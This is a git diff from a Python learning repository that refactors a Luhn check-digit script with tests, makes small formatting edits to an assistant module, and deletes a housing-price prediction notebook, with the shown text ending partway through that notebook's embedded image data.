a/JARVIS/state.py b/JARVIS/state.py index 5a07e3f97e3..998e65d42fb 100644 --- a/JARVIS/state.py +++ b/JARVIS/state.py @@ -14,4 +14,3 @@ def debug(label, value): if not DEVELOPER_MODE: return print(f"[dev] {label}: {value}") - diff --git a/JARVIS/text_utils.py b/JARVIS/text_utils.py index 71f8df7645c..b72174aa135 100644 --- a/JARVIS/text_utils.py +++ b/JARVIS/text_utils.py @@ -19,6 +19,7 @@ def normalize_text(text): def clean_assistant_output(text): cleaned = str(text).strip() cleaned = re.sub(r"^(jarvis\s*:\s*)+", "", cleaned, flags=re.IGNORECASE).strip() - cleaned = re.sub(r"^(jarvis[,.! ]+){2,}", "Jarvis ", cleaned, flags=re.IGNORECASE).strip() + cleaned = re.sub( + r"^(jarvis[,.! ]+){2,}", "Jarvis ", cleaned, flags=re.IGNORECASE + ).strip() return cleaned - diff --git a/Luhn_Algorithm.py b/Luhn_Algorithm.py index 51eb03672aa..1a1b8bc3240 100644 --- a/Luhn_Algorithm.py +++ b/Luhn_Algorithm.py @@ -1,68 +1,115 @@ #!/usr/bin/env python3 +""" +Luhn Algorithm – Calculate the check digit for a given payload. +This module provides a function to compute the Luhn check digit +for a numeric string and a command-line interface to demonstrate it. """ -Python Program using the Luhn Algorithm -This program uses the Luhn Algorithm, named after its creator -Hans Peter Luhn, to calculate the check digit of a 10-digit -"payload" number, and output the final 11-digit number. +import sys -To prove this program correctly calculates the check digit, -the input 7992739871 should return: -Sum of all digits: 67 -Check digit: 3 -Full valid number (11 digits): 79927398713 +def luhn_checksum(payload: str) -> int: + """ + Compute the Luhn check digit for the given payload string. -11/15/2021 -David Costell (DontEatThemCookies on GitHub) -""" + The algorithm processes digits from right to left, doubling every + second digit starting from the rightmost digit (i.e., positions + 1, 3, 5, ... from the right). If doubling results in a number + greater than 9, subtract 9 from it (equivalent to summing the digits). + + Args: + payload: A string of decimal digits (e.g., "7992739871"). + + Returns: + The check digit (0–9) that makes the full number valid. + + Raises: + ValueError: If payload contains any non-digit character. + """ + if not payload.isdigit(): + raise ValueError("Payload must contain only digits.") + + digits = [int(ch) for ch in payload] + total = 0 + + # Iterate from the rightmost digit, starting index at 1 + for i, d in enumerate(reversed(digits), start=1): + if i % 2 == 1: # Odd position from the right (1st, 3rd, 5th, ...) + doubled = d * 2 + total += doubled if doubled < 10 else doubled - 9 + else: + total += d + + # The check digit is the number that makes the total a multiple of 10 + check_digit = (10 - total % 10) % 10 + return check_digit + + +def main() -> None: + """Command-line entry point: prompts for a 10-digit payload and prints the result.""" + try: + payload = input("Enter number to validate (e.g., 7992739871): ").strip() + if len(payload) != 10: + print("Error: Number must be exactly 10 digits.") + sys.exit(1) + + check = luhn_checksum(payload) + full_number = payload + str(check) + + print(f"Sum of all digits: {sum(int(ch) for ch in payload)}") + print(f"Check digit: {check}") + print(f"Full valid number (11 digits): {full_number}") + + except ValueError as e: + print(f"Error: {e}") + sys.exit(1) + + input("Press Enter to exit...") + + +# =========================== Pytest Tests =========================== + + +def test_luhn_checksum_known_case() -> None: + """Known example from Wikipedia: 7992739871 → check digit 3.""" + assert luhn_checksum("7992739871") == 3 + + +def test_luhn_checksum_zero_checkdigit() -> None: + """Case where the check digit is 0: using 2222222222.""" + # For 2222222222, total = 30 → (10 - 30%10)%10 = 0 + assert luhn_checksum("2222222222") == 0 + + +def test_luhn_checksum_another_payload() -> None: + """Another arbitrary payload: 1234567890 → check digit 3.""" + assert luhn_checksum("1234567890") == 3 + + +def test_luhn_checksum_invalid_characters() -> None: + """Non-digit input must raise ValueError.""" + import pytest + + with pytest.raises(ValueError, match="Payload must contain only digits."): + luhn_checksum("1234abc567") + + +def test_luhn_checksum_empty_string() -> None: + """Empty string must raise ValueError.""" + import pytest + + with pytest.raises(ValueError, match="Payload must contain only digits."): + luhn_checksum("") + + +# =========================== Entry Point =========================== + +if __name__ == "__main__": + # If the --test argument is given, run pytest on this file. + if "--test" in sys.argv: + import pytest -# Input -CC = input("Enter number to validate (e.g. 7992739871): ") -if len(CC) < 10 or len(CC) > 10: - input("Number must be 10 digits! ") - exit() - -# Use list comprehension to split the number into individual digits -split = [int(split) for split in str(CC)] - -# List of digits to be multiplied by 2 (to be doubled) -tobedoubled = [split[1], split[3], split[5], split[7], split[9]] -# List of remaining digits not to be multiplied -remaining = [split[0], split[2], split[4], split[6], split[8]] - -# Step 1 -# Double all values in the tobedoubled list -# Put the newly-doubled values in a new list -newdoubled = [] -for i in tobedoubled: - i = i * 2 - newdoubled.append(i) -tobedoubled = newdoubled - -# Check for any double-digit items in the tobedoubled list -# Splits all double-digit items into two single-digit items -newdoubled = [] -for i in tobedoubled: - if i > 9: - splitdigit = str(i) - for index in range(0, len(splitdigit), 1): - newdoubled.append(splitdigit[index : index + 1]) - tobedoubled.remove(i) -newdoubled = [int(i) for i in newdoubled] - -# Unify all lists into one (luhnsum) -luhnsum = [] -luhnsum.extend(tobedoubled) -luhnsum.extend(newdoubled) -luhnsum.extend(remaining) - -# Output -print("Final digit list:", luhnsum) -print("Sum of all digits:", sum(luhnsum)) -checkdigit = 10 - sum(luhnsum) % 10 -print("Check digit:", checkdigit) -finalcc = str(CC) + str(checkdigit) -print("Full valid number (11 digits):", finalcc) -input() + sys.exit(pytest.main([__file__])) + else: + main() diff --git a/ML House Prediction.ipynb b/ML House Prediction.ipynb deleted file mode 100644 index 9f0fbbedaf6..00000000000 --- a/ML House Prediction.ipynb +++ /dev/null @@ -1,1717 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Housing Price Predictor" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "housing = pd.read_csv(\"data.csv\")" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTATMEDV
00.0063218.02.3100.5386.57565.24.0900129615.3396.904.9824.0
10.027310.07.0700.4696.42178.94.9671224217.8396.909.1421.6
20.027290.07.0700.4697.18561.14.9671224217.8392.834.0334.7
30.032370.02.1800.4586.99845.86.0622322218.7394.632.9433.4
40.069050.02.1800.4587.14754.26.0622322218.7396.905.3336.2
\n", - "
" - ], - "text/plain": [ - " CRIM ZN INDUS CHAS NOX RM AGE DIS RAD TAX PTRATIO \\\n", - "0 0.00632 18.0 2.31 0 0.538 6.575 65.2 4.0900 1 296 15.3 \n", - "1 0.02731 0.0 7.07 0 0.469 6.421 78.9 4.9671 2 242 17.8 \n", - "2 0.02729 0.0 7.07 0 0.469 7.185 61.1 4.9671 2 242 17.8 \n", - "3 0.03237 0.0 2.18 0 0.458 6.998 45.8 6.0622 3 222 18.7 \n", - "4 0.06905 0.0 2.18 0 0.458 7.147 54.2 6.0622 3 222 18.7 \n", - "\n", - " B LSTAT MEDV \n", - "0 396.90 4.98 24.0 \n", - "1 396.90 9.14 21.6 \n", - "2 392.83 4.03 34.7 \n", - "3 394.63 2.94 33.4 \n", - "4 396.90 5.33 36.2 " - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "housing.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "\n", - "RangeIndex: 506 entries, 0 to 505\n", - "Data columns (total 14 columns):\n", - " # Column Non-Null Count Dtype \n", - "--- ------ -------------- ----- \n", - " 0 CRIM 506 non-null float64\n", - " 1 ZN 506 non-null float64\n", - " 2 INDUS 506 non-null float64\n", - " 3 CHAS 506 non-null int64 \n", - " 4 NOX 506 non-null float64\n", - " 5 RM 506 non-null float64\n", - " 6 AGE 506 non-null float64\n", - " 7 DIS 506 non-null float64\n", - " 8 RAD 506 non-null int64 \n", - " 9 TAX 506 non-null int64 \n", - " 10 PTRATIO 506 non-null float64\n", - " 11 B 506 non-null float64\n", - " 12 LSTAT 506 non-null float64\n", - " 13 MEDV 506 non-null float64\n", - "dtypes: float64(11), int64(3)\n", - "memory usage: 55.4 KB\n" - ] - } - ], - "source": [ - "housing.info()" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTATMEDV
count506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000
mean3.61352411.36363611.1367790.0691700.5546956.28463468.5749013.7950439.549407408.23715418.455534356.67403212.65306322.532806
std8.60154523.3224536.8603530.2539940.1158780.70261728.1488612.1057108.707259168.5371162.16494691.2948647.1410629.197104
min0.0063200.0000000.4600000.0000000.3850003.5610002.9000001.1296001.000000187.00000012.6000000.3200001.7300005.000000
25%0.0820450.0000005.1900000.0000000.4490005.88550045.0250002.1001754.000000279.00000017.400000375.3775006.95000017.025000
50%0.2565100.0000009.6900000.0000000.5380006.20850077.5000003.2074505.000000330.00000019.050000391.44000011.36000021.200000
75%3.67708212.50000018.1000000.0000000.6240006.62350094.0750005.18842524.000000666.00000020.200000396.22500016.95500025.000000
max88.976200100.00000027.7400001.0000000.8710008.780000100.00000012.12650024.000000711.00000022.000000396.90000037.97000050.000000
\n", - "
" - ], - "text/plain": [ - " CRIM ZN INDUS CHAS NOX RM \\\n", - "count 506.000000 506.000000 506.000000 506.000000 506.000000 506.000000 \n", - "mean 3.613524 11.363636 11.136779 0.069170 0.554695 6.284634 \n", - "std 8.601545 23.322453 6.860353 0.253994 0.115878 0.702617 \n", - "min 0.006320 0.000000 0.460000 0.000000 0.385000 3.561000 \n", - "25% 0.082045 0.000000 5.190000 0.000000 0.449000 5.885500 \n", - "50% 0.256510 0.000000 9.690000 0.000000 0.538000 6.208500 \n", - "75% 3.677082 12.500000 18.100000 0.000000 0.624000 6.623500 \n", - "max 88.976200 100.000000 27.740000 1.000000 0.871000 8.780000 \n", - "\n", - " AGE DIS RAD TAX PTRATIO B \\\n", - "count 506.000000 506.000000 506.000000 506.000000 506.000000 506.000000 \n", - "mean 68.574901 3.795043 9.549407 408.237154 18.455534 356.674032 \n", - "std 28.148861 2.105710 8.707259 168.537116 2.164946 91.294864 \n", - "min 2.900000 1.129600 1.000000 187.000000 12.600000 0.320000 \n", - "25% 45.025000 2.100175 4.000000 279.000000 17.400000 375.377500 \n", - "50% 77.500000 3.207450 5.000000 330.000000 19.050000 391.440000 \n", - "75% 94.075000 5.188425 24.000000 666.000000 20.200000 396.225000 \n", - "max 100.000000 12.126500 24.000000 711.000000 22.000000 396.900000 \n", - "\n", - " LSTAT MEDV \n", - "count 506.000000 506.000000 \n", - "mean 12.653063 22.532806 \n", - "std 7.141062 9.197104 \n", - "min 1.730000 5.000000 \n", - "25% 6.950000 17.025000 \n", - "50% 11.360000 21.200000 \n", - "75% 16.955000 25.000000 \n", - "max 37.970000 50.000000 " - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "housing.describe()" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [], - "source": [ - "%matplotlib inline" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [], - "source": [] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[,\n", - " ,\n", - " ,\n", - " ],\n", - " [,\n", - " ,\n", - " ,\n", - " ],\n", - " [,\n", - " ,\n", - " ,\n", - " ],\n", - " [,\n", - " , ,\n", - " ]], dtype=object)" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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